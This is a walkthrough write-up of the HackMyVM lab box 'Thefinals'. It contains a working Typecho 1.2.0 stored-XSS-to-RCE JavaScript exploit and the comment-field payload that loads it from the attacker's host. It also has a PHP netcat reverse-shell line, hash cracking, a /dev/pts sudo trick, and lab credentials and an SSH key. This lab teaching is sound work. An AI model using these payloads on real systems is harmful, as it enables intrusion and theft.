🫡
TheBlog
  • Welcome
  • HackTheBox
    • HackTheBox : Active Directory
      • Cascade
      • Cicada
    • HackTheBox : Linux Boxes
      • LaCasaDePapel
      • Nibbles
      • Knife
      • Delivery
  • HackTheBox : Other Boxes
    • Sunday
  • HackMyVM
    • HackMyVM : Linux
      • Aurora
      • Thefinals
      • Todd
Powered by GitBook
On this page
  • Port Scanning
  • 80/tcp HTTP
  • Screenshots
  • Blog / Typecho
  • Shell as Apache
  • Shell as Scotty
  • Shell as Root
  • Beyond Root

Was this helpful?

  1. HackMyVM
  2. HackMyVM : Linux

Thefinals

PreviousAuroraNextTodd

Last updated 17 days ago

Was this helpful?

Port Scanning

nmap -sCV -p- -O -vvv -oA thefinalsSCAN 10.10.1.12

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 9.9 (protocol 2.0)
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.62 ((Unix))
| http-methods: 
|   Supported Methods: HEAD GET POST OPTIONS TRACE
|_  Potentially risky methods: TRACE
|_http-title: THE FINALS
|_http-server-header: Apache/2.4.62 (Unix)

OS details: Linux 4.15 - 5.8

80/tcp HTTP

Looks like a website for the game providing some info about the arenas, sponsors, and modes. After some manual recon, nothing is interesting about this website. So now let's move on to directory brute forcing.

dirsearch -u http://thefinals.hmv/

[07:19:54] 301 -  309B  - /js  ->  http://thefinals.hmv/js/                 
[07:19:55] 403 -  276B  - /.ht_wsr.txt                                      
[07:19:55] 403 -  276B  - /.htaccess.bak1                                   
[07:19:55] 403 -  276B  - /.htaccess.orig
[07:19:55] 403 -  276B  - /.htaccess.save
[07:19:55] 403 -  276B  - /.htaccess.sample
[07:19:55] 403 -  276B  - /.htaccess_extra
[07:19:55] 403 -  276B  - /.htaccess_sc
[07:19:55] 403 -  276B  - /.htaccess_orig
[07:19:55] 403 -  276B  - /.htaccessOLD
[07:19:55] 403 -  276B  - /.htaccessBAK
[07:19:55] 403 -  276B  - /.htaccessOLD2                                    
[07:19:55] 403 -  276B  - /.htm                                             
[07:19:55] 403 -  276B  - /.html
[07:19:55] 403 -  276B  - /.htpasswd_test                                   
[07:19:55] 403 -  276B  - /.htpasswds
[07:19:56] 403 -  276B  - /.httr-oauth                                      
[07:20:07] 301 -  311B  - /blog  ->  http://thefinals.hmv/blog/             
[07:20:07] 200 -   17KB - /blog/                                            
[07:20:08] 200 -  820B  - /cgi-bin/printenv                                 
[07:20:08] 200 -    1KB - /cgi-bin/test-cgi                                 
[07:20:10] 301 -  310B  - /css  ->  http://thefinals.hmv/css/               
[07:20:13] 301 -  312B  - /fonts  ->  http://thefinals.hmv/fonts/           
[07:20:15] 301 -  313B  - /images  ->  http://thefinals.hmv/images/         
[07:20:15] 200 -  606B  - /images/
[07:20:16] 200 -  694B  - /js/                                              
[07:20:27] 301 -  318B  - /screenshots  ->  http://thefinals.hmv/screenshots/
[07:20:32] 403 -  276B  - /server-status/                                   
[07:20:32] 403 -  276B  - /server-status

Screenshots

The directory screenshots have some pictures, but all are the same picture. But we get good information that there is a web app, probably a CMS named Typecho, and it's version 1.2.0

Blog / Typecho

I have added thefinals.hmv to /etc/hosts

sudo sh -c 'echo "10.10.1.12 thefinals.hmv" >> /etc/hosts'

Using Wappalyzer extension, we double-checked that the blog is using Typecho and the version is 1.2.0 Now we start looking for a public exploit.

There are 18 CVEs, 8 of which are XSS. We don't have an account, and bruteforcing this wouldn't be the best idea because we don't know the password policy (8-character string), it's not telling if there a special characters or numbers, or case char, etc So we need to look for an unauthenticated exploit.

CVE-2023-30184 / Stored XSS

How could we use this stored XSS to get a shell?

From this excellent blog, we got this exploit. This exploit uses a stored XSS to silently open Typecho's theme editor in a hidden iframe and overwrite 404 with malicious PHP code. To test if it's working or not, the creator wants to execute phpinfo.

function insertIframe() {
    var urlWithoutDomain = window.location.pathname;
    var hasManageComments = urlWithoutDomain.includes("manage-comments.php");
    var tSrc='';
    if (hasManageComments){
        tSrc=urlWithoutDomain.replace('manage-comments.php','theme-editor.php?theme=default&file=404.php');
    }else{
        tSrc='/admin/theme-editor.php?theme=default&file=404.php';
    }
    var iframeAttributes = "<iframe id='theme_id' src='"+tSrc+"' width='0%' height='0%' onload='writeShell()'></iframe>";
    var originalContent = document.body.innerHTML;
    document.body.innerHTML = (originalContent + iframeAttributes);
}

var isSaved = false;

function writeShell() {
    if (!isSaved) { 
        var content = document.getElementById('theme_id').contentWindow.document.getElementById('content');
        var btns = document.getElementById('theme_id').contentWindow.document.getElementsByTagName('button');    
        var oldData = content.value;
        content.value = ('<?php phpinfo(); ?>\n') + oldData;
        btns[1].click();
        isSaved = true;
    }
}
insertIframe();

This is the payload we will use in the "Website" field in the comment section.

http://xxx.xxx.com/"></a><script/src=http://10.10.1.11:8000/script.js></script><a/href="#

Now we need to host our exploit, I will use Python's http server module on port 8000

python3 -m http.server 8000

We got a PHP info page on 404.php, and also we now it's using Alpine now we need to edit our exploit to code execution.

# change this
- contentField.value = "<?php phpinfo(); ?>\n" + oldData;
# to this
+ content.value = ('<?php exec("nc 10.10.1.11 9000 -e /bin/bash"); ?>\n') + oldData;
nc -nvlp 9000

Trying bash and sh, and we still don't get any call back, so I changed it to see what shell it's using

# change this
- content.value = ('<?php exec("nc 10.10.1.11 9000 -e /bin/bash"); ?>\n') + oldData;
# to this
+ content.value = "<?php readfile('/etc/passwd'); ?>\n" + oldData;

It's using ash.

root:x:0:0:root:/root:/bin/sh
..snip..
june:x:1001:100::/home/june:/bin/ash
scotty:x:1002:100::/home/scotty:/bin/ash
staff:x:1000:100::/home/staff:/bin/ash
content.value = ('<?php exec("nc 10.10.1.11 9000 -e /bin/ash"); ?>\n') + oldData;

Shell as Apache

Now we have a shell as Apache.

id
uid=102(apache) gid=103(apache) groups=82(www-data),103(apache),103(apache)
# In reverse shell
$ python -c 'import pty; pty.spawn("/bin/ash")'
Ctrl-Z

# In Kali
$ stty raw -echo
$ fg
$ stty -a # take rows and columns numbers for the last command
# In reverse shell
$ reset
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows <num> columns <cols>
ls -la /home
drwxr-sr-x    2 june     users         4096 Apr  3 17:00 june
drwx------    4 scotty   users         4096 Apr 23 17:28 scotty
drwx------    4 staff    users         4096 Apr  3 13:36 staff

Due to these permissions, we can read and execute in June's directory

I loved how the creator added the finals logo. Also, the message, if I am not wrong, is related to the game.

Going back to CMS, we found the config, and it has MySQL credentials

$ tail /var/www/html/blog/config.inc.php -n 12
// config db
$db = new \Typecho\Db('Pdo_Mysql', 'typecho_');
$db->addServer(array (
  'host' => 'localhost',
  'port' => 3306,
  'user' => 'typecho_u',
  'password' => 'QLTkbviW71CSRZtGWIQdB6s',
  'charset' => 'utf8mb4',
  'database' => 'typecho_db',
  'engine' => 'InnoDB',
), \Typecho\Db::READ | \Typecho\Db::WRITE);
\Typecho\Db::set($db);
mysql -u typecho_u -pQLTkbviW71CSRZtGWIQdB6s
# Passing the password like this in the terminal isn't a good security habit
MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| test               |
| typecho_db         |
+--------------------+

MariaDB [(none)]> use typecho_db;
Database changed

MariaDB [typecho_db]> show tables;
+-----------------------+
| Tables_in_typecho_db  |
+-----------------------+
| typecho_comments      |
| typecho_contents      |
| typecho_fields        |
| typecho_metas         |
| typecho_options       |
| typecho_relationships |
| typecho_users         |
+-----------------------+

MariaDB [typecho_db]> select * from typecho_users;
+-----+-------+------------------------------------+---------------------+---------------------------+------------+------------+------------+------------+---------------+----------------------------------+
| uid | name  | password                           | mail                | url                       | screenName | created    | activated  | logged     | group         | authCode                         |
+-----+-------+------------------------------------+---------------------+---------------------------+------------+------------+------------+------------+---------------+----------------------------------+
|   1 | staff | $P$B/qMMS9FETOrEZ38X0YDY5gKJOyiwQ1 | staff@thefinals.hmv | http://thefinals.hmv/blog | staff      | 1743647281 | 1747678322 | 1747678262 | administrator | 8a4b45148c5171e7ce962e216b57574e |
+-----+-------+------------------------------------+---------------------+---------------------------+------------+------------+------------+------------+---------------+----------------------------------+

Now we have a password to crack, but what hash is this? There are many methods to know you can use the hashcat example_hashes

or hashid

hashid   
$P$B/qMMS9FETOrEZ38X0YDY5gKJOyiwQ1
Analyzing '$P$B/qMMS9FETOrEZ38X0YDY5gKJOyiwQ1'
[+] Wordpress ≥ v2.6.2 
[+] Joomla ≥ v2.5.18 
[+] PHPass' Portable Hash

Or just pass the hash to John, and he will rip it

john hash 
Using default input encoding: UTF-8
Loaded 1 password hash (phpass [phpass ($P$ or $H$) 128/128 SSE2 4x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status

But since I don't like using the VM to crack the password because it takes a lot of time

C:\Users\abdelrazek\Downloads\hashcat-6.2.6>hashcat.exe -m 400 thefinals.txt rockyou.txt
hashcat (v6.2.6) starting
.. snip..
Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 400 (phpass)
Hash.Target......: $P$B/qMMS9FETOrEZ38X0YDY5gKJOyiwQ1
Time.Started.....: Mon May 19 21:28:05 2025 (12 secs)
Time.Estimated...: Mon May 19 21:28:17 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1237.4 kH/s (0.60ms) @ Accel:512 Loops:64 Thr:128 Vec:1
Recovered........: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new)
Progress.........: 14344384/14344384 (100.00%)
Rejected.........: 0/14344384 (0.00%)
Restore.Point....: 14344384/14344384 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:8128-8192
Candidate.Engine.: Device Generator
Candidates.#1....: $HEX[30303137393738353572] -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#1..: Temp: 64c Fan: 46% Util: 29% Core:1920MHz Mem:6801MHz Bus:16

Started: Mon May 19 21:27:51 2025
Stopped: Mon May 19 21:28:19 2025

We couldn't brute force it :(, Back to enumeration

ps aux

2527 scotty    0:00 /usr/bin/python3 /home/scotty/cns_boardcast/main.py

okay looks like the message.txt wanted to tell us something that there is an application broadcast something.

netstat -antp
netstat: showing only processes with your user ID
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 10.10.1.15:35679        10.10.1.11:9000         ESTABLISHED 7118/ash
tcp        0      0 :::22                   :::*                    LISTEN      -
tcp        0      0 :::80                   :::*                    LISTEN      -
tcp        0      0 ::ffff:127.0.0.1:80     ::ffff:127.0.0.1:50348  TIME_WAIT   -
tcp        0      0 ::ffff:127.0.0.1:80     ::ffff:127.0.0.1:50388  TIME_WAIT   -
tcp        0      0 ::ffff:127.0.0.1:80     ::ffff:127.0.0.1:50362  TIME_WAIT   -
tcp        0      0 ::ffff:10.10.1.15:80    ::ffff:10.10.1.11:35894 ESTABLISHED -
tcp        0      0 ::ffff:127.0.0.1:80     ::ffff:127.0.0.1:50372  TIME_WAIT   -
tcp        0      0 ::ffff:127.0.0.1:80     ::ffff:127.0.0.1:50404  TIME_WAIT   -
tcp        0      0 ::ffff:127.0.0.1:80     ::ffff:127.0.0.1:50332  TIME_WAIT   -

okay looks it's not broadcasting to a port maybe a file

find / -user scotty 2>/dev/null
/proc/2527
..snip..
/home/scotty
/var/log/scotty-main.err
/var/log/scotty-main.log
cat /var/log/scotty-main.log
Broadcast to eth0 10.10.1.15:1337
# and 1100+ line like it :)

So now we need to listen on port 1337 on the VM and wait for a couple of minutes, but nothing happens. Knowing that port 1337 isn't listening, eliminate the idea of connecting to from our box to the vm on port 1337. Maybe UDP?

nc -nvlp 1337
# listen on UDP
nc -unvlp 1337
listening on [::]:1337 ...
connect to [::ffff:10.10.1.15]:1337 from [::ffff:10.10.1.15]:34232 ([::ffff:10.10.1.15]:34232)
LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFBQUFBQkc1dmJtVUFBQUFFYm05dVpRQUFBQUFBQUFBQkFBQUFNd0FBQUF0emMyZ3RaVwpReU5UVXhPUUFBQUNBMXduMDk0cGhPcXNmYm8rbzNDQllpTjN4QTE2eW1LU2JYMlVZMzJ4L0FFd0FBQUpnRGMvWVVBM1AyCkZBQUFBQXR6YzJndFpXUXlOVFV4T1FBQUFDQTF3bjA5NHBoT3FzZmJvK28zQ0JZaU4zeEExNnltS1NiWDJVWTMyeC9BRXcKQUFBRUN2N2tmZW9YT1FDaTVDUklXZEhpRFQ1dXBLeVkzdlF4QWxLbXhFUXpSWkxEWENmVDNpbUU2cXg5dWo2amNJRmlJMwpmRURYcktZcEp0ZlpSamZiSDhBVEFBQUFFbkp2YjNSQWRHaGxabWx1WVd4ekxtaHRkZ0VDQXc9PQotLS0tLUVORCBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0K

we get a base64 string and by decoding it. it's ssh private key for propably scotty

cat message| base64 -d
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACA1wn094phOqsfbo+o3CBYiN3xA16ymKSbX2UY32x/AEwAAAJgDc/YUA3P2
FAAAAAtzc2gtZWQyNTUxOQAAACA1wn094phOqsfbo+o3CBYiN3xA16ymKSbX2UY32x/AEw
AAAECv7kfeoXOQCi5CRIWdHiDT5upKyY3vQxAlKmxEQzRZLDXCfT3imE6qx9uj6jcIFiI3
fEDXrKYpJtfZRjfbH8ATAAAAEnJvb3RAdGhlZmluYWxzLmhtdgECAw==
-----END OPENSSH PRIVATE KEY-----
cat message | base64 -d > key
chmod 600 key

ssh scotty@10.10.1.15 -i key

thefinals:~$ id
uid=1002(scotty) gid=100(users) groups=100(users),100(users)

Changing the key permssion is a must unless you will use sudo, if you didn't change it and didn't use sudo you will get this message

@ WARNING: UNPROTECTED PRIVATE KEY FILE! @ Permissions 0777 for 'key' are too open. It is required that your private key files are NOT accessible by others. This private key will be ignored. Load key "key": bad permissions scotty@10.10.1.15: Permission denied (publickey,keyboard-interactive).

Shell as Scotty

The first thing to do when you have shell as they taught us in privilege escalation courses is sudo -l When I tried this for Apache, it requested a password, but for Scotty, it's telling us we can use a binary named secret.

sudo -l
User scotty may run the following commands on thefinals:
    (ALL) NOPASSWD: /sbin/secret

sudo /sbin/secret 
/sbin/secret: line 2: can't create /dev/pts/99: Permission denied

ls -la /dev/pts/
total 0
drwxr-xr-x    2 root     root             0 May 20 01:09 .
drwxr-xr-x   14 root     root          2840 May 20 01:09 ..
crw--w----    1 apache   tty       136,   0 May 20 03:06 0
crw--w----    1 scotty   tty       136,   1 May 20 03:11 1
c---------    1 root     root        5,   2 May 20 01:09 ptmx

First, we need ot understand what is /dev/pts

This means each tty is entered in /dev/pts

thefinals:/dev/pts$ tty
/dev/pts/1
thefinals:/dev/pts$ python -c 'import pty;pty.spawn("/bin/ash")'

/dev/pts $ tty
/dev/pts/2

Now we can paste-enter this 97 times or easily with 1 click with a bash script

for i in $(seq 1 97); do python -c 'import pty; pty.spawn("/bin/ash")' & done

ls /dev/pts
0     11    14    17    2     22    25    28    30    33    36    39    41    44    47    5     52    55    58    60    63    66    69    71    74    77    8     82    85    88    90    93    96    ptmx
1     12    15    18    20    23    26    29    31    34    37    4     42    45    48    50    53    56    59    61    64    67    7     72    75    78    80    83    86    89    91    94    97
10    13    16    19    21    24    27    3     32    35    38    40    43    46    49    51    54    57    6     62    65    68    70    73    76    79    81    84    87    9     92    95    98
thefinals:~$ python -c 'import pty; pty.spawn("/bin/ash")'
~ $ tty
/dev/pts/99
~ $ sudo /sbin/secret 
root:p8RuoQGTtlKLAjuF1Tpy5wX
~ $ su -
Password: 
su: incorrect password

Shell as Root

We can't use the password to get a root shell

~ $ mysql -u root -pp8RuoQGTtlKLAjuF1Tpy5wX
MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| secret             |
| sys                |
| test               |
| typecho_db         |
+--------------------+

MariaDB [(none)]> use secret;
Database changed

MariaDB [secret]> show tables;
+------------------+
| Tables_in_secret |
+------------------+
| user             |
+------------------+

MariaDB [secret]> select * from user;
+----+----------+-------------------------+
| id | username | password                |
+----+----------+-------------------------+
|  1 | root     | BvIpFDyB4kNbkyqJGwMzLcK |
+----+----------+-------------------------+

MariaDB [secret]> exit;

~ $ su -
Password: 
thefinals:~# id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

Beyond Root

this script home/scotty/cns_boardcast/main.py is only sending the SSH private key, but encoded to base64 to port 1337/udp

import socket
import time
import netifaces
import base64

def send_udp_broadcast_to_all_interfaces(message, port=1337):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)

    try:
        interfaces = netifaces.interfaces()
        
        for iface in interfaces:
            if iface == 'lo':
                continue
            if_addrs = netifaces.ifaddresses(iface)
            
            if netifaces.AF_INET in if_addrs:
                for addr_info in if_addrs[netifaces.AF_INET]:
                    broadcast_addr = addr_info.get('broadcast')
                    if broadcast_addr:
                        data = message.encode('utf-8')
                        sock.sendto(data, (broadcast_addr, port))
                        print(f"Broadcast to {iface} {broadcast_addr}:{port}")
                    else:
                        print(f"Cannot broadcast on {iface}")
                        
    except Exception as e:
        print(f"Cannot broadcast caused {e}")
        
    finally:
        sock.close()

if __name__ == "__main__":
    with open("/home/scotty/.ssh/id_ed25519", "rb") as key_file:
        key_data = key_file.read()
        base64_key = base64.b64encode(key_data).decode('utf-8')

    while True:
        send_udp_broadcast_to_all_interfaces(base64_key)
        time.sleep(5)

Secret binary is just only echo of the ".cns_secret" to tty 99

cat /sbin/secret 

#!/bin/sh
/bin/cat /root/.cns_secret > /dev/pts/99

A stored cross-site scripting (XSS) vulnerability in Typecho v1.2.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the url parameter at /index.php/archives/1/comment. {}

We could have also know about this by knowing that it's alpine linux {}

Upgrade TTY {}

Hope you liked the walkthrough, you can try the VM on also you can try the finals game on , and I'm sure you will like it

NVD
Default_shell
link
HMV
steam
Page cover image
http://thefinals.hmv/blog/
http://10.10.1.12/
https://github.com/typecho/Dockerfile/blob/main/README.md
https://github.com/typecho/typecho/issues/1546
https://blog.mo60.cn/index.php/archives/Typecho-1-2-xss2rce.html
http://thefinals.hmv/blog/index.php/archives/1/
http://thefinals.hmv/blog/usr/themes/default/404.php
https://hashcat.net/wiki/doku.php?id=example_hashes
https://unix.stackexchange.com/questions/93531/what-is-stored-in-dev-pts-files-and-can-we-open-them
https://hackmyvm.eu/achievement/?achievement=31884